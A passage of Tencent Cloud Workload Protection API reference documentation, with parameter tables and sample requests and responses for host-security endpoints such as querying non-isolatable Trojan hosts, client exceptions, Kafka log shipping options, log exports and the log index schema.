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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 DescribeAssetTypes

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetTypes
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "1ce68339-8828-457f-b358-d5b1b34e4fe9",
"Types": [
{
"Id": 1,
"Name": "name"
}
]
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeCanNotSeparateMachine

Last updated：2024-12-06 15:40:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain hosts where Trojans cannot be isolated.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeCanNotSeparateMachine.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	An array of event IDs that need to be modified, and batch operation is supported.
UpdateAll	No	Boolean	Whether to update all, i.e. whether to operate on all events; this parameter is invalid when IDs are not left blank.
ExcludeId.N	No	Array of Integer	Excluded event ID: When operating on all events, this ID needs to be excluded.
Filters.N	No	Array of Filters	• IpOrAlias - String - required: no - filter by host IP or alias • FilePath - String - required: no - filter by path

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			• VirusName - String - required: no - filter by description • CreateBeginTime - String - required: no - filter by creation time - start time • CreateEndTime - String - required: no - filter by creation time - end time • Status - String - required: no - status for filtering: 4: pending; 5: trusted; 6: isolated; 10: isolating; 11: canceling isolation

3. Output Parameters

Parameter Name	Type	Description
List	Array of CanNotSeparateInfo	List of non-isolatable hosts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to obtain the host where the Trojan cannot be isolated.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeCanNotSeparateMachine
<Common request parameters>

{
"UpdateAll": true,
"Ids": [
1
],
"ExcludeId": [
1
```

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```
]
}
```

Output Example

```
{
"Response": {
"List": [
{
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"PrivateIp": "1.1.1.1",
"PublicIp": "1.1.1.1",
"Alias": "dsger***",
"Reason": 1,
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e"
}
],
"RequestId": "1ce68339-8828-457f-b358-d5b1b34e4fe9"
}
}
```

5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
AuthFailure.UnauthorizedOperation	Authentication for the current user failed.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.
UnsupportedOperation	The operation is not supported.

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DescribeClientException

Last updated：2024-12-06 15:40:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain client exception events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeClientException.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ExceptionType	Yes	Integer	Client Exception Type 1: Client Offline, 2: Client Uninstallation
Offset	Yes	Integer	Pagination offset
Limit	Yes	Integer	Limit per Page, not 0, up to 100
StartTime	No	String	Start time in the format of `2006-01-02 15:04:05`
EndTime	No	String	End time in the format of `2006-01-02 15:04:05`

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of events
Records	Array of RecordInfo	Event details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example 1

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeClientException
<Common request parameters>

{
"EndTime": "",
"Limit": "10",
"ExceptionType": "1",
"StartTime": "",
"Offset": "0"
}
```

Output Example

```
{
"Response": {
"Records": [
{
"HostIP": "172.23.16.2",
"InstanceID": "ins-kz85kljw",
"Uuid": "2e6353e4-0498-450a-9be5-77e2537247f6",
```

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```
"OfflineTime": "2022-04-24T17:52:37+08:00",
"UninstallTime": "2020-11-21 15:16:00",
"UninstallCmd": "sh ******"
}
],
"RequestId": "1248a7df-c3fe-4930-b3ff-2af956cf8d66",
"TotalCount": 944
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeFastAnalysis

Last updated：2024-12-06 15:40:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to quickly analyze and count logs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFastAnalysis.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
From	Yes	Integer	Start time. Unit: ms.
To	Yes	Integer	End time. Unit: ms.
Query	Yes	String	Query statement, up to 4096 in statement length
FieldName	Yes	String	Log field name

3. Output Parameters

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Parameter Name	Type	Description
FieldValueRatioInfos	Array of FieldValueRatioInfo	Statistical data after analysis Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFastAnalysis
<Common request parameters>

{
"To": "1657511824000",
"FieldName": "cls_event_type",
"From": "1657468800000",
"Query": ""
}
```

Output Example

```
{
"Response": {
"FieldValueRatioInfos": [
{
"Count": 56412,
"Ratio": 0.59550929493608,
"Value": "malware"
},
{
```

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```
"Count": 27836,
"Ratio": 0.29384876859251,
"Value": "asset_package"
},
{
"Count": 2291,
"Ratio": 0.024184779740101,
"Value": "asset_core_module"
},
{
"Count": 1873,
"Ratio": 0.019772192253692,
"Value": "asset_init_service"
},
{
"Count": 1797,
"Ratio": 0.0189699036198,
"Value": "asset_env"
},
{
"Count": 1506,
"Ratio": 0.015897982666343,
"Value": "asset_account"
},
{
"Count": 1375,
"Ratio": 0.014515090415818,
"Value": "asset_jar"
},
{
"Count": 390,
"Ratio": 0.0041170074633956,
"Value": "asset_netstat"
},
{
"Count": 351,
"Ratio": 0.003705306717056,
"Value": "asset_app"
},
{
"Count": 332,
"Ratio": 0.0035047345585829,
"Value": "asset_scheduled_task"
}
],
"RequestId": "6b4fc486-f623-4d19-bbc8-14c2396d7cc3",
"TotalCount": 10
```


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```
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogDeliveryKafkaOptions

Last updated：2024-12-06 15:40:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of logs available for shipping to Kafka.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogDeliveryKafkaOptions.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
InstanceID	No	String	Kafka instance ID

3. Output Parameters

Parameter Name	Type	Description
InstanceList	Array of	Instance list

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	CKafkaInstanceInfo	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogDeliveryKafkaOptions
<Common request parameters>

{
"InstanceID": "ckafka-ce80kte5"
}
```

Output Example

```
{
"Response": {
"InstanceList": [
{
"InstanceID": "ckafka-ce80kte5",
"InstanceName": "Yunjing test environment",
"KafkaVersion": "0.10.2.1",
"DiskSize": 300,
"VpcId": "",
"SubnetId": "",
"Healthy": 1,
"Zone": "Guangzhou Zone 3",
"Az": "Guangzhou",
"Bandwidth": 320,
"TopicList": [
{
"TopicID": "topic-epj9w5yw",
"TopicName": "bruteforce_attack"
},
```

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```
{
"TopicID": "topic-r48k6eym",
"TopicName": "create_snapshot"
},
{
"TopicID": "inter-topic-ncjmndfq",
"TopicName": "host_login"
},
{
"TopicID": "inter-topic-ngkulq16",
"TopicName": "host_login_by_area"
},
{
"TopicID": "inter-topic-pohpglie",
"TopicName": "json_event_msg"
},
{
"TopicID": "inter-topic-hs4eot1l",
"TopicName": "machines"
},
{
"TopicID": "topic-93sgsjva",
"TopicName": "malware"
},
{
"TopicID": "topic-p59qj43e",
"TopicName": "monitor_event"
},
{
"TopicID": "topic-a890z57e",
"TopicName": "network_attack"
},
{
"TopicID": "topic-rit2rzqu",
"TopicName": "network_attack_test"
},
{
"TopicID": "topic-kjqx02wm",
"TopicName": "priv_escalation"
},
{
"TopicID": "topic-71smzlj0",
"TopicName": "remote_task"
},
{
"TopicID": "topic-5eom87g4",
"TopicName": "reverse_shell"
```


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```
},
{
"TopicID": "topic-jv0srr3y",
"TopicName": "tcss_events_notify"
},
{
"TopicID": "inter-topic-k3qc77wn",
"TopicName": "test"
},
{
"TopicID": "topic-7wn22bzw",
"TopicName": "vulner_detect_tmp"
},
{
"TopicID": "topic-9d5rjens",
"TopicName": "vulner_result"
},
{
"TopicID": "inter-topic-ioovdkb3",
"TopicName": "vul_upgrade_info"
}
],
"RouteList": [
{
"RouteID": 5427,
"Domain": "",
"DomainPort": 0,
"Vip": "172.16.100.6:9092",
"VipType": 3,
"AccessType": 0
},
{
"RouteID": 99469,
"Domain": "",
"DomainPort": 0,
"Vip": "10.66.188.88:9092",
"VipType": 2,
"AccessType": 0
},
{
"RouteID": 106724,
"Domain": "",
"DomainPort": 0,
"Vip": "100.119.167.50:11368",
"VipType": 4,
"AccessType": 0
},
```


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```
{
"RouteID": 126523,
"Domain": "",
"DomainPort": 0,
"Vip": "9.139.46.54:6007",
"VipType": 7,
"AccessType": 1
}
]
}
],
"RequestId": "3758d2c5-57d1-471a-b713-ad353665ce62"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogExports

Last updated：2024-12-06 15:40:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of log download tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogExports.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	Yes	Integer	Paging offset. Default value: 0.
Limit	No	Integer	Number of entries per page. Default value: 20. Maximum value: 100.

3. Output Parameters

Parameter	Type	Description

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Name		
TotalCount	Integer	Total number
Exports	Array of ExportInfo	List of exported logs
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogExports
<Common request parameters>

{
"Limit": "10",
"Offset": "0"
}
```

Output Example

```
{
"Response": {
"Exports": [
{
"ExportId": "export-4b905654-7af5-43c1-a111-04c89e029c2a",
"Query": "a=b",
"FileName": "log_100004506473_c5ad674a-e6cc-4d7d-82e0-e7d7edaae26b_20220629_expor
t-4b905654-7af5-43c1-a111-04c89e029c2a_1656466508.tar.gz",
"FileSize": 97805,
"Order": "desc",
"Format": "json",
"Count": 2240,
"Status": "Completed",
"StartTime": 1656464537652,
```

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```
"EndTime": 1656466337652,
"CosPath": "https://export-gz-1254077820.cos.ap-guangzhou.myqcloud.com/%2Fexport/20220629/log_100004506473_c5ad674a-e6cc-4d7d-82e0-e7d7edaae26b_20220629_export-4b905654-7af5-43c1-a111-04c89e029c2a_1656466508.tar.gz?q-sign-algorithm=sha1&q-ak=xxxxxxxxxxxPBtQlw86tt&q-sign-time=1656639828%3B1656643428&q-key-time=1656639828%3B1656643428&q-header-list=host&q-url-param-list=&q-signature=e491e72e50afa2258",
"CreateTime": "2022-06-29 09:35:00"
},
{
"ExportId": "export-9a5f89fc-986b-4b5e-a511-168646949685",
"Query": "a=b",
"FileName": "log_100004506473_c5ad674a-e6cc-4d7d-82e0-e7d7edaae26b_20220628_export-9a5f89fc-986b-4b5e-a511-168646949685_1656415208.tar.gz",
"FileSize": 9815,
"Order": "desc",
"Format": "json",
"Count": 121,
"Status": "Completed",
"StartTime": 1656408311641,
"EndTime": 1656410111641,
"CosPath": "https://export-gz-1254077820.cos.ap-guangzhou.myqcloud.com/%2Fexport/20220628/log_100004506473_c5ad674a-e6cc-4d7d-82e0-e7d7edaae26b_20220628_export-9a5f89fc-986b-4b5e-a511-168646949685_1656415208.tar.gz?q-sign-algorithm=sha1&q-ak=xxxxxxxBtQlw86tt&q-sign-time=1656639828%3B1656643428&q-key-time=1656639828%3B1656643428&q-header-list=host&q-url-param-list=&q-signature=b338dbd1685e5ea3f",
"CreateTime": "2022-06-28 19:19:46"
}
],
"RequestId": "05db17be-ba35-467f-b903-51f66d2d1def",
"TotalCount": 2
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogHistogram

Last updated：2024-12-06 15:40:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the log histogram information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogHistogram.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StartTime	Yes	Integer	Start time of logs to be queried, which is a Unix timestamp in milliseconds
EndTime	Yes	Integer	End time of logs to be queried, which is a Unix timestamp in milliseconds
QueryString	Yes	String	Query statement
Interval	Yes	Integer	Time interval, in ms

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3. Output Parameters

Parameter Name	Type	Description
Data	Array of LogHistogram	Result details of statistics within the period
Period	Integer	Statistical period (unit: ms)
TotalCount	Integer	Total number of logs that hit the keywords
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogHistogram
<Common request parameters>

{
"EndTime": "1660533600000",
"Interval": "500000",
"QueryString": "",
"StartTime": "1660532400000"
}
```

Output Example

```
{
"Response": {
"Data": [
{
"Count": 49,
"TimeStamp": 1660532000000
```

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```
},
{
"Count": 158,
"TimeStamp": 1660532500000
},
{
"Count": 136,
"TimeStamp": 1660533000000
},
{
"Count": 0,
"TimeStamp": 1660533500000
}
],
"Period": 500000,
"RequestId": "b8748ca2-de8e-4ccb-b369-99d7f65907cf",
"TotalCount": 343
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogIndex

Last updated：2024-12-06 15:40:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the index.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogIndex.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Status	Boolean	Whether effective
Rule	RuleInfo	Index rule
ModifyTime	String	Index modification time, which is initially the index creation time.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogIndex
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"ModifyTime": "2022-07-04 15:05:18",
"RequestId": "f2e256a6-e51e-4d9f-8d73-c81290a248ab",
"Rule": {
"FullText": {
"CaseSensitive": false,
"ContainZH": true,
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\"
},
"KeyValue": {
"CaseSensitive": false,
"KeyValues": [
{
"Key": "password_due_days",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "file_exist",
```


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```
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "login_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "path_md5",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "proc_tree",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "domain",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "src_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
```


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```
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_risk_area",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "rule",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "path_count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "file_modify_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "file_access_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
```


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```
"ContainZH": true
}
},
{
"Key": "plugin_count",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "parent_proc_group",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "sid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_emergency",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "param",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
```


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```
},
{
"Key": "appid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "src_port",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "bwtype",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "platform",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "cpu_info",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
```


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```
"Key": "http_referer",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "parent_process_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "command",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "pid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "euid",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "recover_time",
"Value": {
```


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```
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_root",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "disable_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_host",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "event_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "virus_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
```


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```
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "proto",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "log_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "loader_class_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "vul_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
```


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```
}
},
{
"Key": "find_time",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "config_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_head",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "last_login_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "service_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
```


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```
{
"Key": "id",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "long",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "full_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "is_deleted",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "parent_proc_path",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "host_ip",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "type",
```


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```
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "password_change_type",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "version",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "http_cgi",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "status",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "rule_name",
"Value": {
"Tokenizer": "@&()='\",;:<>[]{}/ \\n\\t\\r\\",
```


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```
"Type": "text",
"SqlFlag": true,
"ContainZH": true
}
},
{
"Key": "core_version",
"Value": {
